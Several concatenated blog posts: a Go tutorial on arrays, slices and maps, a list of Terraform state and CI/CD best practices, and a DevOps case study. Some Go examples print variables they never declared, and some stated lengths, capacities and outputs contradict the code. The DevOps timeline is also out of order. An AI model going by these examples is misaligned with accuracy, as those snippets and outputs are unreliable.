- An array, in Golang, has a pointer that points to the first element in the array and since memory is contiguous, we can even calculate the address of any element that we want to.
- It also has a property called *length,* which denotes the number of elements in the array, and a property called capacity, which denotes the number of elements that it can contain.
> In the case of arrays, length and capacity are the same. However, we will learn more about capacity while studying slices.


![poin.jpg](/img/blog/lets-simplify-golang-part-2/pjG_XnUWe.jpg align="left")

---

## Array Declaration 

Let us see how we can declare arrays in Golang.

`var` `<array_name>` `[size_of_the_array]` `<data_type>` 

We have a **var** keyword, the *name of the array*, the **size** of the array, and the **data type**.

So, let's declare an array of four integers now.

`var` `marks` `[4]` `int`

Over here, we have a **var** keyword, the name of the array is *marks*, we want it to be of length *four*, and we want it to be of *integer* data type. 

Let's create one more array.

`var` `cities` `[5]` `string`

Over here, we've created an array of three strings, and we've named it cities.

> If we didn't initialize the array and try to use the println method to print the array, we will get an array that consists of only zeros if it is of type integer. This is because we haven't initialized the array yet and since the array is of integer data type, we get zero because zero is the zero value of integers. And if the array is of strings, we get an array of empty strings.

Example : 

```
package main
import "fmt"

func main() {

         var grades [4] int
         fmt.Println(marks)

         var fruits [3] string
         fmt.Println(cities)
}

Output :

[0 0 0 0 ]
[ ]

```
---

## Array Initialization 

Let's see how we can initialize an array now.

Let's take an example.

`var` `marks` `[3]` `int` `=` `[3]` `int` `{10, 20, 30}`

- First, we'll be using our **var** keyword, then the *name of the array*, the size or the *length of the array*, the *data type*, and the **assignment operator**, which is equal to, again, the *length of the array*, the *data type*, and then our values.

- The number of values should always be **less than or equal** to the size of the array. If they are greater, the compiler will throw us an error.

- If lesser, the rest of the elements would be assigned zero value based on the data type mentioned.

So, we have initialized an array with values using these curly braces. 

Now, We can initialize an array also using the shorthand declaration. The syntax is simple.

`marks` `:=` `[3]` `int` `{10, 20, 30}`

We have an *array name*, the **shorthand declaration operator**, the *size of the array*, the data type, and our values. 

We can also initialize an array using ellipses.

`grades` `:=` `[…]` `int` `{10, 20, 30}`

We have a *name of the array*, the **shorthand operator**, these *three dots* over here in Golang are termed as ellipses. So, When we use these three dots, we need not specify the size or the length of our array. In this case, the compiler will implicitly calculate the length of the array based on the number of elements that we've specified.

Example :

```
package main
import "fmt"

func main() {

          var fruits [2]string = [2]string{"apples", "oranges"}
          fmt.Println(fruits)

          marks := [3]int{10, 20, 30}
          fmt.Println(marks)
        
          names := [...]string{"Rachel", "Phoebe", "Monica"}
          fmt.Println(names)

}

Output :

[apples oranges]
[10 20 30]
[Rachel Phoebe Monica]
```

---

## len()

- The length of the array refers to the number of elements stored in the array. We can even find the length of an array using a built-in length function.

- The len() function over here takes an array as an input and returns us the size of the array.

Example :

```
package main
import "fmt"

func main() {

           var fruits [2]string = [2]string{"apples", "oranges"}
           fmt.Println(len(fruits))
}

Output :

2
```

---

## index


![indss.jpg](/img/blog/lets-simplify-golang-part-2/75Q8xiYuq.jpg align="left")
- We know that an array is a collection of data elements of the same data type. In addition to this, an array is also numbered, and these numbers are called array index.

- The first element of an array has the index 0, while the last element has the index length minus one (len() - 1). So, If an array is of size five, the index of the last element will be four.

- We can access array elements using these indexes as well.

Let's say we want to access the element at index one. We can simply write
the name of the array and the index number enclosed within the square brackets.
` grades[1] `, this would give us the result 86, because that is the number specified at the index one.

> NOTE:-  The index should always lie between zero and length minus one, where length is the size or the length of the array. If it's lesser, or if it's greater, the compiler will throw us an error.

Example :

```
package main
import "fmt"
func main() {

           var fruits [5]string = [5]string{"apples", "oranges", "grapes", "mango", "papaya"}

           fmt.Println(fruits[2])
}

Output :

grapes
```

- We can even change the value of an array using the indices. In the below example, we have declared and initialized an array called grades. We first printed it, then we're going to change the value of the element at index one, then we're going to again print it. The value of the element at index one is 80, but then, later on, we have changed it to 100.

Example :

```
package main
import "fmt"

func main() {
            var grades [5]int = [5]int{90, 80, 70, 80, 97}
            fmt.Println(grades)

            grades[1] = 100
            fmt.Println(grades)
}

Output :

[90 80 70 80 97]
[90 100 70 80 97]
```

---

## looping through an array

Now let's see how we can loop through an array.

A simple for loop to loop through an array could be written like below.

```
for i := 0; i < len(grades); i++ {
    fmt.Println(grades[i])
}
```
- First, we have an initialization of a looping variable, which is **i**, then the condition that **i** has to be less than the length of the array. It starts from zero, but it always has to be less than the length of the array, and then we have a post condition of **i++**, which means we want to increment the value of **i** in every iteration.
- Now, inside a loop body, we are printing our array elements using the looping variable.

Example :

```
package main
import "fmt"

func main() {

          var grades [5]int = [5]int{90, 80, 70, 80, 97}

          for i := 0; i < len(grades); i++ {
               fmt.Println(grades[i])
          }
}

Output :

90
80
70
80
97
```

- Now we can also loop through an array using the **range** keyword. The range keyword is mainly used in for loops, to iterate over all the elements of an array, slice, or map. For arrays, range sets the scope of iteration up to the length of the array.

Example :

```
for index, element := range grades {
   fmt.println(index, ">=" , element)
}
```

- The syntax is simple, we have our **for** keyword, we have our *variables* that store the return values from the range expression, and we have the *shorthand operator* to declare and initialize these variables, and then we have a range expression, which consists of the range keyword and the array name.

 - In the case of arrays and slices, the first value returned is the index and the second value is the element itself.

Example :

```
package main
import "fmt"

func main() {
           
            var grades [5]int = [5]int{90, 80, 70, 80, 97}
            
            for index, element := range grades {
                fmt.Println(index, "=>", element)
            }
}

Output :

0 => 90
1 => 80
2 => 70
3 => 80
4 => 97
```
---

## Multidimensional Arrays

Until now, we've just discussed single-dimensional arrays, but we also have multi-dimensional arrays.

- A multi-dimensional array is an array that has more than one dimension.

- It's like an array of arrays or an array that has multiple levels.

- The simplest multi-dimensional array is the *2-d* array or two-dimensional array.


![multi.jpg](/img/blog/lets-simplify-golang-part-2/m2kZevyUb.jpg align="left")

In the above example, our main array consists of three elements, and all of these elements are an array itself and they consist of two elements themselves.

To access the element 64, we can simply write ` arr[2][1] => 64 `. This means that we want to first go to the element at the second index of our main array, and from that element, we want the element at the first index.

Let's take another example, to access element 4, we can simply write `arr[1][0] => 4`.
This means we want to first go to the element at index one of our main array, and from that particular element, we want the element at index zero. 

Example :

```
package main
import "fmt"

func main() {
     
            arr := [3][2]int{{2, 4}, {4, 16}, {8, 64}}
            fmt.Println(arr[2][1])

}

Output :

64
```
---

# Slice

A slice is defined as a continuous segment of an underlying array, and it provides access to a numbered sequence of elements from that area.

- Slices provide access to parts of an array in sequential order.
- They are more flexible and more powerful than arrays, since arrays had limitations of being fixed size.
- Unlike arrays, they are of variable type, i.e, you can add and remove elements from a slice.

A slice might look something like this.

We'll have an underlying array, and we'll slice it from a lower bound to an upper bound. Well, that's just how slices are in Golang.


![slic.jpg](/img/blog/lets-simplify-golang-part-2/hoqP96e9R.jpg align="left")

Let's dive deep to learn more about them.

A slice has three major components: **Pointer**, **Length**, and **Capacity**. 

- The pointer is used to point to the first element of the array that is accessible
through that slice.
> It is not necessary that the pointed element is the first element of the array.
Well, we will be studying pointers in detail later on, but pointers are just variables that hold memory addresses.

- The length of a slice is the number of elements it contains. 
- The capacity of a slice is the number of elements in the underlying array counting 
from the first element in the slice.
- The length and capacity of a slice can be obtained using the functions **len()**
for *length* and **cap()** for *capacity*.

---

## declaring and initializing a slice

The declaration is similar to creating an array, except that you don't need to specify the size of the slice.

Below is the syntax :

`<slice_name>` `:=` `[]` `<data_type>` `{<values>}`

First, we'll have the name of a slice, the shorthand operator, and empty square brackets, since we do not need to specify any size, the data type, and the values inside the curly braces.

What happens here is that an array is created first. After that, the compiler
will return a slice reference to it.

Example : ` grades := []int{10, 20, 30} `
It's an integer slice and it consists
of values 10, 20, and 30.

Example :
```
package main
import "fmt"

func main() {

           slice := []int{10, 20, 30}
           fmt.Println(slice)

}

Output :

[10 20 30]
```

Now, the core concept of the slice is a reference to the array. So, we can create a slice from an underlying array.

To create a slice from an array, we have a start index, and we have an end index.
`array[start_index : end_index]` 

Above is the way we create a slice. So, the element on the start index is included, but the element on the end index is not included. 
` array[0 : 3] ` it contains elements from zero index to index two.

> Note: if we do not mention the lower bound or the starting index, it's *zero by default*. ` array[ : 4 ] `
> Note: If we do not mention the lower bound and the upper bound as well, the complete array will be sliced for us. `array[ : ]`

Example :

```
package main
import "fmt"

func main() {
 
           arr := [10]int{10, 20, 30, 40, 50, 60, 70, 80, 90, 100}
         
           slice_1 := arr[1:8]
           fmt.Println(slice_1)

}

Output :

[20 30 40 50 60 70 80]
```
We can even declare and initialize a slice using another slice -
` sub_slice := slice[0:3] `


There's one more way of declaring a slice, and that is through the **make** function.

` slice := make([]<data_type>, length, capacity) `

The **make** takes three parameters, the data type, the length, and the capacity. (capacity is optional)

Generally, the **make** function is used to create an empty slice.
Example :- ` slice := make([]int, 4, 8) `

In the above example, we've created a slice with a length of five and a capacity of 10, and the slice is of integer data type.

Example :

```
package main
import "fmt"

func main() {

        slice := make([]int, 4, 7)
        fmt.Println(slice)
        fmt.Println(len(slice))
        fmt.Println(cap(slice))

}

Output :

[ 0 0 0 0 ]
4
7
```

---

## Appending to a slice

It is common to append new elements to a slice. For this, Go provides us with a built-in append function. 

```
func append(s []T, vs ...T) []T

```

According to the documentation of this function, this function could be described as follows:
- The first parameter of append is a slice of some data type and the rest are the values
of the same data type.
- The resulting value of this append function is a slice containing all the elements of the original slice plus the provided values.
- Now this new slice that will be returned will have two times the initial capacity, if the initial capacity could not contain all the elements.
- The returned slice will point to the newly allocated array as well

Syntax: 
```
slice = append(slice, element-1, element-2)
```

To append to a slice, we simply mention the slice name, and then the values of the elements that we want to insert.

Example: 
```
slice = append(slice, 10, 20, 30)
```

Example:
```
package main
import "fmt"

func main() {

        arr := [4]int{10, 20, 30, 40}
    
        slice := arr[1:3]

        fmt.Println(slice)
        fmt.Println(len(slice))
        fmt.Println(cap(slice))

        slice = append(slice, 900, -90, 50)

        fmt.Println(slice)
        fmt.Println(len(slice))
        fmt.Println(cap(slice))
}

Output:

[20 30]
2
3
[20 30 900 -90 50]
5
6
```

We can even append a slice to another slice by simply using the three dots.
below is the example.

```
slice = append(slice, anotherSlice...)
```

Example :
```
package main
import "fmt"

func main() {

        arr := [5]int{10, 20, 30, 40, 50}
   
        slice := arr[:2] 

        arr_2 := [5]int{5, 15, 25, 35, 45}

        slice_2 := arr_2[:2]

        new_slice := append(slice, slice_2...)

        fmt.Println(new_slice)

}

Output:

[10 20 5 15]
```
---

## deleting from a slice

We can even delete elements from a slice by creating a new slice that does not consist of the element that needs to be deleted.

Let's take an example, how can we do it :

`arr := [5]int{10, 20, 30, 40, 50}`

Let's say we want to delete the element at index two. So, what we can do is we can create a slice that consists of elements from index zero and one, and that consists of element from index three and four, and then we simply append them together.

Example:

```
package main
import "fmt"

func main() {
 
        arr := [5]int{10, 20, 30, 40, 50}

        i := 2

        fmt.Println(arr)

        slice_1 := arr[:i]
        slice_2 := arr[i+1:]

        new_slice := append(slice_1, slice_2...)
        fmt.Println(new_slice)
}

Output:

[10 20 30 40 50]
[10 20 40 50]
```
---

## copying from a slice

We also have a built-in copy method to copy elements from one slice to another. This built-in copy function copies elements into a destination slice from a source slice.

`func copy(dst, src []Type) int`

`num := copy(dest_slice, src_slice)`

---

# Map

- A map is a data structure that provides you with an unordered collection of key-value pairs.
- They are also called Hash Tables in java and dictionaries in python.
- You will store values into the map based on a key.
- They are used to looking up a value by its associated key. 
- The strength of a map is its ability to retrieve data quickly based on the key. It provides efficient **add**, **get** and **delete** operations.


![mappp.jpg](/img/blog/lets-simplify-golang-part-2/jGFJn5jRm.jpg align="left")
        
---

## declaring and initializing a map

Syntax:
```
var <map_name> map[<key_data_type>]<value_data_type>
```
First, we have our var keyword, the name of the map, the map keyword, which is necessary to create a map, then the data type of the key, which we have to mention inside the square brackets, and then the data type of the value.

Example:
```
 var my_map map[string]int
```
Declared a map with key type as string and with value of integers.

> Note: Above example will create a nil map, In maps, the zero value of the map is nil, and a nil map does not contain any key. So, If you try to add a key-value pair in a nil map, the compiler will throw us a runtime error.

To create maps with key-value pairs, we need to initialize it as well.
Below is the syntax for declaration and initialization of a map:
```
<map_name> := map[<key_data_type>]<value_data_type>{<key-value-pairs>}
```

First, we have the name of our map, then the shorthand operator, then the map declaration with key and value data types, and then the key-value pairs inside curly braces.

Example:
```
codes := map[string]string{"en": "English", "fr": "French"}
```

We can also declare and initialize a map using the **make** function. The make function takes argument, the type of the map, and it returns us an initialized map.

Example:

```
package main
import "fmt"

func main() {

        /* When we print the map,
           we get an empty map in the output. */       

        codes := make(map[string]int)

        fmt.Println(codes)'

}

Output:


map[] 
```
---

## length 

- To determine how many items or key-value pairs a map has, we use the built-in length function. (   **len()** )
- The length function will return zero for an uninitialized map,

Example:
```
codes := map[string]string{"en": "English", "fr": "French", "hi": "Hindi"}

fmt.Println(len(codes))

Output:
3
```

---

## accessing a map

We can also access the items of a map by referring to its key name simply by specifying the name of the map and writing its key name inside the square brackets. ` map[key] `

Example:

```
package main
import "fmt"

func main() {
 
        codes := map[string]string{"en": "English", "fr": "French", "hi": "Hindi"}

        fmt.Println(codes["en"])
        fmt.Println(codes["fr"])
        fmt.Println(codes["hi"])

}

Output:

English
French
Hindi
```
---

## getting a key

- When we talk about getting a key while talking about maps, we mean getting the value associated with the key.
```
value, found := map_name[key]
```

- When you index a map in Go, you get two return values. The **first** is the **value**,
and the **second** value, which is a Boolean value that shows whether or not the key exists and is optional.

Example:
```
package main
import "fmt"

func main() {

         codes := map[string]int{"en": 1, "fr": 2, "hi": 3}

         value, found := codes["en"]

         fmt.Println(found, value)

         value, found = codes["hh"]

         value, found = codes["hh"]

}

Output:

true 1
false 0
```

---

## adding key-value pair

Adding an item to the map is done by using a new index key and assigning a value to it. ` map[key] = value `

Example:
```
package main
import "fmt"

func main() {
 
        codes := map[string]string{"en": "English", "fr": "French", "hi": "Hindi"}

        codes["it"] = "Italian"

        fmt.Println(codes)

}

Output:

map[en:English fr:French hi:Hindi it:Italian]
```

---

## update key-value pair

- We can even update the value of a specific item by referring to its key name.
- In maps, if you try to add an already existing key, then it will simply override or update the value of that key with the new value.

Example:
```
package main
import "fmt"

func main() {
 
        codes := map[string]string{"en": "English", "fr": "French", "hi": "Hindi"}

        codes["en"] = "Maths"

        fmt.Println(codes)

}

Output:

map[en:Maths fr:French hi:Hindi it:Italian]
```

---

## delete key-value pair

- To delete a key-value pair from a map, we have a built-in delete method.
- It takes the name of our map and the name of the key that we want to delete.
` delete(map, key_name) `

Example:
```
package main
import "fmt"

func main() {
 
        codes := map[string]string{"en": "English", "fr": "French", "hi": "Hindi"}//

        fmt.Println(codes)

        delete(codes, "en")

        fmt.Println(codes)

}

Output:

map[en:English fr:French hi:Hindi]
map[fr:French hi:Hindi]
```

---

## iterate over a map

- Now for looping or iterating over a map, the range expression returns the key and the value. 
- for slices and arrays, it returns as the index
and the element itself. While for maps,
it returns as the key and the value.

Example:
```
package main
import "fmt"

func main() {

        codes := map[string]string{"en": "English", "fr": "French", "hi": "Hindi"}

       for key, value := range codes {
             fmt.Println(key, "=>", value)
       }
}

Output:

en => English
fr => French
hi => Hindi
```
---



[CHEAT SHEET](http://www.cheat-sheets.org/saved-copy/go-lang-cheat-sheet-master.20181212/golang_refcard.pdf)

[EXERCISES](https://golangr.com/exercises/)


Thank you for a reading mate, If you enjoyed this article, please like, comment, and share it. 

Connect with me on :
- [Twitter](https://twitter.com/barkatul_20)
- [LinkedIn](https://www.linkedin.com/in/barkatul-mujauddin-3a67771b8/)

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Terraform Best Practices

- Canonical: https://blog.kubesimplify.com/terraform-best-practices
- Published: 2022-06-16
- Summary: In this blog, I'm going to discuss eight terraform best practices. It will improve your terraform workflows immediately and make you feel more confident

Terraform is one of the most popular infrastructure as code tools out there. And if you have started working with terraform, you may be asking yourself whether you are doing things in the right way. In this blog, I'm going to discuss eight terraform best practices. It will improve your terraform workflows immediately and make you feel more confident. When you use terraform in your projects.

Many of the best practices are around Terraform State and State File. So let's understand what they are first. Terraform is a tool that automates creating infrastructure and making changes and maintaining that infrastructure.

To keep track of the current infrastructure state and what changes you want to make, terraform uses state. When you change configuration in terraform script. It will compare your desired configuration with the current infrastructure state, and figure out a plan to make those desired changes, and the state in terraform is a simple JSON file. And has a list of all the infrastructure resources that terraform manages for you.

** These are Terraform 8 best practices :-**

### (1) Manipulate state only through TF commands
The first best practice is only to change the state file contents through terraform command execution. Do not manually manipulate it, otherwise you may get some unexpected results.

### (2) Always set up a shared remote storage
Now, where does this state file actually come from? When you first execute the `terraform apply` command. Terraform will automatically create the state file locally. But if you're working in a team, then other team members also need to execute terraform commands, and they will also need the state file for that. In fact, every team member will need the latest state file before making their own updates.

So the second-best practice is to configure a "Shared remote storage for the state file". Every team member can now execute terraform commands using this shared state file. In practice remote storage backend for state files can be Amazon S3 bucket, Terraform cloud, Azure, Google cloud etc., and you can configure terraform to use that remote storage as a state file location.

![2nd B.P.png](/img/blog/terraform-best-practices/BVWP0vhTm.png align="left")

### (3) Use State Locking
But what if two team members execute terraform commands at the same time? What happens to the state file when you have concurrent changes? You might get into a conflict or mess up your state file.

To avoid changing terraform state at the same time, we have the next best practice. That is, "Locking the state file" until an update is fully completed and then unlocking it for the next command. This way you can prevent concurrent edits to your state file.

In practice, you will have this configured in your storage backend in S3 bucket. For example, DynamoDB service is automatically used for state file locking. But note that not all storage back-ends support this.
So be aware of that when choosing a remote storage for the state file, if supported, terraform will lock your state file automatically.

![3rd B.P.png](/img/blog/terraform-best-practices/bPwROwXIm.png align="left")

### (4) Back up your state file
Now what happens, if you lose your state file something may happen to your remote storage location or someone may accidentally override the data, or it may get corrupted. To avoid this, the next best practice is to "Back up your state file". In practice, you can do this by enabling versioning for it, and many storage backends will have such a feature. Like in S3 bucket for example you can simply turn on the versioning feature this also means that you have a nice history of state changes, and you can reverse to any previous terraform state if you want to.

![4th B.P.png](/img/blog/terraform-best-practices/S5ErhuRjq.png align="left")


### (5) Use 1 State per Environment
Now you have your state file in a shared remote location with locking enabled and file versioning for backup. So you have one state file for your infrastructure. But usually you will have multiple environments like development, testing and production. So which environment does this state
file belong to?

Can you manage all the environments with one state file? And this is the next best practice, "To use one dedicated state file per environment". And each state file will have its own storage backend with locking and versioning configured. These were best practices related to terraform state.

![5th B.P.png](/img/blog/terraform-best-practices/QEg9e4jsk.png align="left")

### (6) Host Terraform scripts in Git repository
When you're working on terraform scripts in a team, it's important to share the code in order to collaborate effectively. So as the next best practice, you should actually host terraform code in its own
git repository just like your application code. This is not only beneficial for effective collaboration in a team, but you also get versioning for your infrastructure code changes. So you can have a history of changes in your terraform code.

### (7) Continuous Integration for Terraform code
Now, who is allowed to make changes to terraform code? Can anyone just directly commit changes to the git repository? The best practice is actually to treat your terraform code just like your application code. 

This means you should have the same process of reviewing and testing the changes in your
infrastructure code as you have for your application code. With a continuous integration pipeline, using merge requests to integrate code changes. This will allow your team to collaborate and produce quality infrastructure code which is tested and reviewed.

![7th B.P.png](/img/blog/terraform-best-practices/pb8pz0O_y.png align="left")

### (8) Apply Terraform only through CD pipeline
So you have tested and reviewed code changes in your git repository. Now, how do you apply them to the actual infrastructure? Because eventually you want to update your infrastructure with those changes. The final best practice is to execute terraform commands to apply changes in a continuous
deployment pipeline.

So instead of team members manually updating the infrastructure by executing terraform commands from their own computers. It should happen only from an automated build. This way you have a single location from which all infrastructure changes happen, and you have a more streamlined process
of updating your infrastructure.

![8th B.P.png](/img/blog/terraform-best-practices/XEhPFAXIH.png align="left")

These are the 8 terraform best practices you can apply to make your terraform projects more robust and easier to work on as a team. Hope it will help you😊

 Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Why DevOps-Case Study

- Canonical: https://blog.kubesimplify.com/why-devops-case-study
- Published: 2022-06-15

![13429_ILL_DevOpsLoop.webp](/img/blog/why-devops-case-study/gH7hEX3j5.webp align="left")

DevOps is the new and efficient way of **developing applications**. It is a collection of practices that shortens the **development lifecycle** of a system/application. It's not just *frontend*, *backend*, *database* and scripting. It is something that changes how we design and develop our applications. Big enterprises want to be DevOps but fail to understand what it really is, is it a set of **tools** ? Or is it a team of **DevOps** engineers working along with Devs and Ops ? Is it just **CI/CD** ? Also, how do we **"do"** DevOps ? Or do we **"become"** DevOps ?

All the above-mentioned questions will be answered throughout the Blog. The flow of this article is something like this: 
- **Setting the stage:** To give some background knowledge to beginners.
- **Understanding the problems**: To see some real world case studies and observations.
- **Problems**: Listing and briefing.
- **The Goal**: What do we want ?
- **How software is developed**: To point out how why we are unable to reach the goal.
- **Why DevOps**: To understand what perks DevOps provide.

I tried to make this blog as inclusive as possible, doesn't matter if you are someone trying to convince your boss about the new big thing, a developer getting involved with the tools, a student setting their first steps in the new era of application development or an organisation trying to adopt the set of practices involved with DevOps. There is something here for you. Let's get started with the basics.


## Setting the Stage

### How things work in a company:

![Accenture-Breaking-Development-Operations_1.jpeg](/img/blog/why-devops-case-study/SefEdIt7V.jpeg align="center")

Initially, the software lifecycle had three phases, First the **Planning** phase, where the stakeholders, innovators and business people decided "What needs to be build" that people will use and what problem does it solve. Then comes the **Development** phase, where the developers write code to build the application they wanted according to the designs and architectures provided to them. 

when the code is running perfectly in their servers/computers, they finally hand it over to the **Operations** team, who is responsible for having the applications always running for the end users like us. 

>> This is the process explained in the simple terms, the teams do more things than mentioned above, but it's all you need to know for now.

The above procedure seems quite normal, right ? You might be asking, what is the problem here ? That's what takes us to the next section, where we will see some real world scenarios.

# Understanding the problems

## Case studies :
> Technology is the **enabler** of innovation and not the **driver**.

### Disruptors and Incumbents

#### 1: **Uber and Taxi Industry**

![taxi-vs-uber.jpeg](/img/blog/why-devops-case-study/MlY8kON95.jpeg align="center")

When was the last time you called a local taxi dispatcher or waited for a taxi to drive by?
I can say it's been a while, It's because you have a smartphone, where you can book your ride, track it and even pay for it. Uber is a big disruptor ! But what different did they do? Did they cheat ?

People often say "oh, the technology disrupted me" so let's break it down.
- **Live tracking** of the ride needed GPS, but the technology has been around for a while and the taxi industry also had access to it.
- **Electronic payment**, but even that is a fairly old and easily accessible tech.
- **Book anywhere using your smartphone**, Almost every pocket has a smartphone these days, Uber still didn't build something new.

Even though the taxi industry had access to the same tech, they suffered because they lacked "innovation" and the speed for "adaptation" according to user's needs. Uber had a business model that combined all the above-mentioned pieces and made something that provided people **a cheap**, **Easy to book**, **Easy to track** and **Easy to pay** option for ride-sharing. 

So, the taxi services are almost gone, because they preferred lobbying Albany instead of developing a software themselves.

It's not just about starting right like Uber, the point is to keep adapting as the market changes.

#### 2: **Blockbuster and Netflix**

![2005-Netflix-vs-Blockbuster-–-Chart.jpeg](/img/blog/why-devops-case-study/TgRhl68Dj.jpeg align="center")

Almost all the nice shows we want to watch today are just one click away now, **Netflix** made it possible, but it wasn't always like this. 

Let's go back to when **Blockbuster** was the big thing. Back in the 80s, videotapes (VCRs) were the way we watched shows. People would physically go to the store and rent the tapes, in fact they paid penalty if they returned them late ! 

Then came DVDs, Blockbuster had a robust working model, which was tough to change because it was spread out on a large scale and the VCRs were working fine. But Netflix had some different plans. They started mailing the small DVDs directly to their customer's home. There is no late fees even if you return the DVD(s) late, you just won't get another one until you return the previous one. **Convenience** for the customers !

Netflix did not stop. When they noticed broadband connections being common in almost every household, they stopped with the DVDs and started broadcasting directly to the customer's home. **Convenience at it's peak!**. Blockbuster couldn't change, they couldn't keep up, and now they are gone.

But it's not always a sad story. Cheer up !

#### **3: Garmin and GPS**

Garmin faced similar issues as Blockbuster. GPS was coming around, providing extended features like maps and user-friendly navigation. They were disruptors, But Garmin was able to pivot, they realized their business model. They were not in the mapping business, instead they were in the tracking business. So they started making tracking equipments like wristwatches and see, they are still around !

> You either adapt or you go extinct !

### The Problems

Almost half of the Fortune 500 companies that existed in the year 2000 are gone. But what is the problem ? It's not that companies like Blockbuster did not want to change, they just could not. There was a serious flaw in the way their organization worked. They were not **fast**, their services were not updated quickly and they lost customers.

The answer is simple. There is a problem in the way software is being developed. User's needs are changing rapidly, and if someone else provides them what they need, and you don't , they switch. If your applications and services take months to add the new features that are already being provided by someone else, you are loosing a lot of business. The organizations were not fast enough to adapt. But why were they unable to adapt ?

#### Dev vs Ops: The wall of confusion

![Imagen-1-texto-Emi.png](/img/blog/why-devops-case-study/p1dcLE1wO.png align="center")

It is not that the Developers team did not want to code, or the operations team did not want to run the application. The Devs wanted to roll the updates and features asap, because that was their job, **CODE**. Similarly, the Ops team wanted the application to keep running and not collapsing and denying end-users their services, after all, that is their job. But this caused **change** vs **stability** discussion.

#### **2: Dev vs IT**

Devs were trying to evolve, they were getting faster in their job through **Agile** and **Extreme programming**, which we will discuss ahead. So the new features and updates were being coded in sprints and significantly faster. But still they needed hardware to run the software on. **Virtual machines (VMs)** were needed for testing the code, and the procedure to getting them was hilarious at that time.

IT team used to say, you need more VMs ? Open a ticket, and we will try to provide it as soon as possible. It almost took 20-30 mins to make a VM, but that actually took months. All the speed was wasted because the Devs couldn't even test whether their code works or not. They were stuck.

The entire thing was a mess. People did not take responsibility of their own work. They were treating the software development project like a civil engineering project! **Do your job and pass it on,** nobody cared about their impact in the entire project. The traditional **Waterfall method** combined with **monolithic architecture** made it impossible for the new features to be developed and rolled out fast.

### What is the Goal ?

Agility is the Goal, you want to be moving with maximum velocity and minimum risks, with proper experimentation, testing and turning every stone, so that you don't fall behind the customer's demands and also don't crash your current structure. The Goal is not to prevent failure, but to recover quickly, after all, the system is going to fail when you try to add something new to it, All that matters is how fast you recover from it.

So how do we achieve the goal ? For answering that, we need to get into how applications are developed, the methods.

### Waterfall method:


![waterfall-project-management-1024x576.webp](/img/blog/why-devops-case-study/BGnxyHpkh.webp align="center")

Waterfall method actually worked like "waterfall", the different levels act as **Phases** where output from one phase works as input for the other. Once the phase is complete, it costs a lot to go back. Consider this example. Let's say you want to make an **eCommerce** web app because this is the new thing your customers want, and it all starts in January 2022.

#### **1: Planning**
This is where the company decides what they will build, whether they should even build it or not. The Business model, who is the target audience, what value does it provide to their customers. This takes months. When this phase ends, the *Architects* are provided with the idea, and now it's their job to design the things out. It's **March 2022** now.

#### **2: Requirement and Design phase**

In this phase, the architects spend months in deciding what the application needs and writing a *Requirements* document. Then the design phase, where they come up with how different pieces connect and work together. They end up with *high-level designs*, *low-level designs* and *System-level designs*. All you need to know that they come up with something like this.

![Screenshot 2022-06-10 at 10.16.41 AM.png](/img/blog/why-devops-case-study/KBnl-wUHZ.png align="center")
It's **June 2022** now.

#### **3: Developing**

Developers took the designs, split the features among groups and start writing the code for it. It happens in an **isolated environment** where every group just does their part, in their machines. There is no cross communication between groups writing different features, they just do their own job. It's **September 2022** now.

#### **4: Testing** 

Now the groups put their individual pieces together with others. Does the application work ? Do the pieces even connect ? This is the first time people get to see whether the thing they planned even works or not. It's been **9 months** since it all started and now is the first testing. Is it a bug ? Go back to the *Development* phase. Is it a *design* flaw ? Go back to the *Requirements and Design phase*. Do the customers need more features ? Does the application feel outdated ? Go back to the *planning* phase. This is the infamous **Fear cycle**.

It costs too much time, effort and money. Going back up is very hard ! Just like in a *Waterfall*, and it still doesn't guarantee that it will work this time.

Let's say, after a few iterations, the application finally works. The pieces are taped together and they work. It's **December 2023** now.

#### **5: Production**

Now the application is passed onto the **Production** server, where it will be open for the customers to use. Ops team work here. It is so scary for them, they are the furthest away from the entire application, and it is their job to run it. They don't know how the app works, they just have to run it on the server. Of course, there will be errors.

The cycle repeats. Is it a design flaw ? A bug ? Or the **Dependencies** don't add up ? We will talk about production related issues in further articles because I want to keep this article as brief as possible. It's **February 2023**

#### **6: Support**

Your application is working now, but there are new competitors providing new features. You have to keep up with the competition. Adding new features to a Big, **Monolithic** application is insanely tough. A small piece can bring down the entire app.

The entire waterfall method is going to run again with new features in mind. What if there are new Developers now ? They would have to understand the previous codebase. It will take time. Then they have to figure out how to integrate new features, and where to add the code, without bringing down the app. It took almost 7 months to add new features, and it's **October 2023** now. 

You might be wondering, are the features relevant anymore ? How many customers you lost in the past 7 months ? Oh! Boy, there are new features and new competitors, how do we catch up ? That's how big companies like Blockbuster go out of business.

Now enters DevOps. It is not a direct evolution, it came from extreme programming, Agile, Scrum, Cloud's PaaS etc. but we will discuss the evolution in further articles.

### DevOps:

> DevOps is the practice of Development and Operations engineers working together during the entire development lifecycle, following lean and agile principles in order to deliver the software fast and continuously.

Understanding and thinking DevOps are different things, this article will give you proper understanding of **Why DevOps**, we will discuss **What is DevOps** and **How do we become DevOps** in future articles.

DevOps takes a completely different mindset, it's not just the tools, CI/CD, a team of engineers etc. It's a culture, and the organizations need to adopt it. But why ? What are the Perks ?

With DevOps, our eCommerce website design will look something like this.


![Screenshot 2022-06-10 at 11.14.08 AM.png](/img/blog/why-devops-case-study/d8C7sAmhV.png align="center")

- What if you could test something new directly in the market, with the power to rollback if something went bad ? It won't bring your current application down. **A/B testing**.

- What if you had an application design that allowed you to change individual components like *Ordering*, *Basket*, *Locations* etc. in the above image, without one affecting the other ? Even if you change something, the application still works, it doesn't even care if you switched from using SQL to NoSQL database, it's fine until it works independently. **Microservice architecture**.

- What if you don't have to deploy your entire, a thousand lines of codes on every update, just update the new things and the let old ones keep running. It will bring down your full stack deployment from months to minutes! You want the new features ? Ok, give the code, will just take some minutes. **CI/CD**.

- What if you could get the necessary hardware like VMs just in a few minutes instead of months ? No need to even open a ticket, just few lines of codes, and you got it. **Infrastructure as code, and cloud Platform as a Service**.

- What if your development and production environment were similar, your Devs are testing their code on every step and when they pass it on to the Ops, it is guaranteed to be running in production ? No more Change vs Stability fight! **Containers**.

